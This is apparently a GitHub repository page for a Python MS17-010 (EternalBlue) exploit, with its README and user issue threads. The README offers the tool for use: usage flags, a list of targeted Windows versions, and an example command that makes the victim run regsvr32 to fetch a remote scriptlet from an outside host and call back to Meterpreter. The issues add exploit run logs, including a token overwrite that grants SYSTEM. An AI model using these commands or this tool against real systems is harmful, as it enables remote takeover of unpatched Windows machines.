mez-0 / ms17-010-python

MS17-010: Python and Meterpreter

MS17-010: Python

All credit goes to Worawit:

Worawit Wang: GitHub

Worawit Wang: Twitter

Worawit Wang released a collection of Python exploits for MS17-010. These tools worked far more reliably than the Metasploit modules but didn't have much of a payload besides writing a pwned.txt to the C:/. However, Worawit Wang did add functionality for creating a service.

Korey McKinley wrote an article utilising that function to create a service which used regsvr32 to call back to Meterpreter and create a full Meterpreter connection. I'd never seen that path to exploitation, so I thought I'd modify zzz_exploit.py with Korey's logic and make the script more dynamic and user friendly.

However, the module Korey used in that blog article was not available in my version of Metasploit. It is now called web_delivery.

There are two pieces, zzz_checker.py and zzz_exploit.py. Both self-explanatory.

---

Exploit Usage

usage: zzz_exploit.py [-h] [-u] [-p] -t  -c  [-P] [--version]

Tested versions:
1 Windows 2016 x64
2 Windows 10 Pro Vuild 10240 x64
3 Windows 2012 R2 x64
4 Windows 8.1 x64
5 Windows 2008 R2 SP1 x64
6 Windows 7 SP1 x64
7 Windows 2008 SP1 x64
8 Windows 2003 R2 SP2 x64
9 Windows XP SP2 x64
10  Windows 8.1 x86
11  Windows 7 SP1 x86
12  Windows 2008 SP1 x86
13  Windows 2003 SP2 x86
14  Windows XP SP3 x86
15  Windows 2000 SP4 x86

optional arguments:
  -h, --help        show this help message and exit
  -u , --user       username to authenticate with
  -p , --password   password for specified user
  -t , --target     Target for exploitation
  -c , --command    Command to add to service
  -P , --pipe       Pipe to connect to
  --version         show program's version number and exit

Example: python zzz_exploit -t 192.168.0.1 -c 'regsvr32 /s /n /u /i:http://192.168.0.1:9000/1EsrjpXH2pWdgd.sct scrobj.dll'

Checker Usage

usage: zzz_checker.py [-h] -t  [-c]

MS17-010 Checker

optional arguments:
  -h, --help           show this help message and exit
  -t , --targets       Target(s) to attack
  -c , --credentials   Credentials to use

ms17-010-python's Issues

R-e-f-a-c-t-o-r

The code is super messy, needs a proper refactor at some point.

XP not connecting

tested with both this one and worawits original

https://i.imgur.com/Wb1cuCx.png

`root@kali:~/Desktop/MS17-010-Python# python zzz_exploit.py -t 192.168.10.60 -P browser -c "echo woot>c:\illwill.txt"
[18:51:23] [TARGET]: 192.168.10.60
[18:51:23] [ALERT]: CONNECTING TO TARGET: 192.168.10.60
[18:51:23] [ACTION]: SKIPPING PIPE DISCOVERY
[18:51:23] [ALERT]: USING SPECIFIED PIPE: browser
[18:51:23] [ACTION]: GETTING TARGET OPERATING SYSTEM...
[18:51:23] [ALERT]: TARGET OS: Windows 5.1
[18:51:23] [ACTION]: GROOM PACKETS
[18:51:23] [ACTION]: ATTEMPTING TO CONTROL NEXT TRANSACTION ON x86
[18:51:23] [ERROR]: COULD NOT CONNECT TO 192.168.10.60

root@kali:~/Desktop/MS17-010-Python# python ../eternalblue-xp.py 192.168.10.60 browser
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0xfed81da8
SESSION: 0xe2b9a010
FLINK: 0x5bd48
InData: 0x5ae28
MID: 0xa
TRANS1: 0x58b50
TRANS2: 0x5ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe2a12728
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe2a127c8
overwriting token UserAndGroups
creating file c:\pwned.txt on the target
Done
`

problem

C:\Users\Administrator\Desktop\ms17>zzz_exploit.py
Traceback (most recent call last):
File "C:\Users\Administrator\Desktop\ms17\zzz_exploit.py", line 2, in
from impacket import smb, smbconnection
ImportError: No module named impacket

how do i do it.？

COULD NOT CONNECT

I am using a brand new operating system with no update patches.
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7601 Service Pack 1 Build 7601

Must I use a named pipe? Thank you!

C:\Python27\MS17-010-Python-master>zzz_exploit.py -t 192.168.91.128
�[42;1m[04:51:52] [TARGET]: 192.168.91.128�[0m
�[33m[04:51:52] [ALERT]: �[0m CONNECTING TO TARGET: �[33m192.168.91.128�[0m
�[1;33m[04:51:52] [ACTION]: �[0m GETTING TARGET OPERATING SYSTEM...
�[33m[04:51:52] [ALERT]: �[0m TARGET OS: �[1;34mWindows Server 2008 R2 Datacen
ter 7601 Service Pack 1�[0m
�[1;33m[04:51:52] [ACTION]: �[0m GETTING PIPE...
�[1;33m[04:51:52] [ACTION]: �[0m CYCLING THROUGH PIPES...
�[1;33m[04:51:52] [ACTION]: �[0m TRYING PIPE: browser
�[1;33m[04:51:52] [ACTION]: �[0m TRYING PIPE: spoolss
�[1;33m[04:51:52] [ACTION]: �[0m TRYING PIPE: netlogon
�[1;33m[04:51:52] [ACTION]: �[0m TRYING PIPE: lsarpc
�[1;33m[04:51:52] [ACTION]: �[0m TRYING PIPE: samr
�[1;31m[04:51:52] [ERROR]: �[0m COULD NOT CONNECT TO 192.168.91.128

C:\Python27\MS17-010-Python-master>checker.py -t 192.168.91.128
�[1;34m[04:56:03] [INFO]: �[0m Attempting to connect to: �[1;34m192.168.91.128�
[0m
�[1;34m[04:56:03] [INFO]: �[0m Found target OS: �[1;34mWindows Server 2008 R2 D
atacenter 7601 Service Pack 1�[0m
�[1;32m[04:56:03] [SUCCESS]: �[0m �[1;32m192.168.91.128�[0m IS NOT PATCHED
!
�[1;33m[04:56:03] [ACTION]: �[0m Looking for the named pipes...
�[1;31m[04:56:03] [ERROR]: �[0m �[1;31mspoolss�[0m: �[1;31mSTATUS_ACCESS
DENIED�[0m
�[1;31m[04:56:03] [ERROR]: �[0m �[1;31msamr�[0m: �[1;31mSTATUS_ACCESS_DE
NIED�[0m
�[1;31m[04:56:03] [ERROR]: �[0m �[1;31mnetlogon�[0m: �[1;31mSTATUS_ACCES
S_DENIED�[0m
�[1;31m[04:56:03] [ERROR]: �[0m �[1;31mlsarpc�[0m: �[1;31mSTATUS_ACCESS
DENIED�[0m
�[1;31m[04:56:03] [ERROR]: �[0m �[1;31mbrowser�[0m: �[1;31mSTATUS_ACCESS
_DENIED�[0m

C:\Python27\MS17-010-Python-master>

problem with domain variable

Hi man,

On the last version of zzz-exploit.py the variable domain is in the code but not in the args this gave this error:
AttributeError: 'Namespace' object has no attribute 'domain'

Tried to add it in the args then this error came:
[21/01/20, 20:13:50] >> global name 'domain' is not defined

Couldn't find how to resolve that last problem

Kr,
carHackpils

Pass-the-hash

According to the mysmb.py, it seems like pass-the-hash may be viable.

def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None)

Probably worth looking into.

fromFile() - Checks aren't running correctly (checker.py)

The fromFile() function reads in a txt, and appends it to an array. A for loop then goes over that array and calls the checker() function against it.
Weirdly, I can pass it a netaddr range, convert it to strings and run checker() over an entire subnet. But, the same technique doesn't work over a few lines in a txt file.

Sample output:

> # ./checker.py -f hosts.txt
[18:58:32]  [INFO]:     CONNECTED TO 10.10.11.53
[18:58:32]  [INFO]:     TARGET OS: Windows Server 2012 R2 Datacenter 9600
[18:58:32]  [ERROR]:    COULD NOT CONNECT TO 10.10.11.53
[18:58:35]  [ERROR]:    COULD NOT CONNECT TO 10.10.11.54
[18:58:35]  [ERROR]:    COULD NOT CONNECT TO 127.0.0.1

Its failing just after this line:

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

If anyone has any fixes for this, it would be appreciated!